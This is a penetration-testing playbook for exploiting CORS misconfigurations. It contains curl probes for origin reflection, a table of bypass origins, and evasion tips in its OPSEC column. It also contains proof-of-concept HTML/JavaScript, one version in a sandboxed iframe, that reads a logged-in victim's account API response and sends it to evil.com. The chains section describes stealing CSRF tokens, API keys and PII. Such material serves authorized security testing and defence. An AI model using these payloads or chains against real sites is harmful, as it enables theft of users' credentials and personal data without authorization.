CORS Misconfiguration Playbook

A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the server reflects can read authenticated responses (PII, API keys, CSRF tokens). ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to unauthenticated requests.

1. Detection — probe origin reflection

# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
  echo "== Origin: $o =="
  curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
    | grep -i "access-control-allow-origin\|access-control-allow-credentials"
done

# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization" \
  | grep -i "access-control-"

A response echoing Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true confirms exploitable reflection.

2. Misconfiguration matrix

Class	Server behaviour	Exploit origin
Origin reflection	ACAO echoes any `Origin` + ACAC true	`https://evil.com`
`null` allowed	ACAO: null + ACAC true	sandboxed iframe / `data:`/`file:` (sends `Origin: null`)
Wildcard + creds (browser-blocked, but check tooling)	`ACAO: *` with secrets	only if creds not required
Suffix match flaw	allows `*target.com`	`https://evil-target.com`
Prefix match flaw	allows `target.com*`	`https://target.com.evil.com`
Unescaped dot in regex	`^https://app.target.com$`	`https://appxtarget.com`
Trusted subdomain + XSS	allows `*.target.com`	XSS on any subdomain → same-site fetch
Pre-domain confusion	naive `contains("target.com")`	`https://target.com.evil.com`, `https://eviltarget.com`

3. Exploit PoC — credentialed cross-origin read

<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
  const url = "https://<TARGET>/api/account";
  fetch(url, { credentials: "include" })
    .then(r => r.text())
    .then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>

For null-origin servers, deliver the same script inside a sandboxed iframe so the browser sends Origin: null:

<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
  &lt;script&gt;fetch('https://<TARGET>/api/account',{credentials:'include'})
   .then(r=&gt;r.text()).then(d=&gt;fetch('https://evil.com/c?d='+encodeURIComponent(d)));&lt;/script&gt;">
</iframe>

4. Chains

CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
Subdomain XSS → CORS: server trusts *.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API.
CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.

5. Tools

Corsy — fast misconfiguration scanner (python corsy.py -u https://<TARGET>)
CORScanner — origin-reflection + regex-flaw detection
Burp Suite — CORS checks (active scan) + manual Origin fuzzing in Repeater

6. Detection signatures & OPSEC

Indicator	Detection method	OPSEC note
Repeated `Origin:` variants from one IP	WAF / access-log anomaly	Throttle probes; reuse a single canary origin
`OPTIONS` flood (preflight fuzzing)	Rate-based WAF rule	Test one endpoint at a time
Beacon to external collector	Egress/DNS monitoring	Use an in-scope collector during authorized tests

Decision Gate: CORS confirmed → exploitation

ACAO reflects an attacker-controlled origin (or null)
ACAC is true (or the endpoint serves secrets without auth)
A sensitive response body is readable cross-origin
PoC exfiltrates real data from an authenticated victim context If all checked, escalate per finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).

cors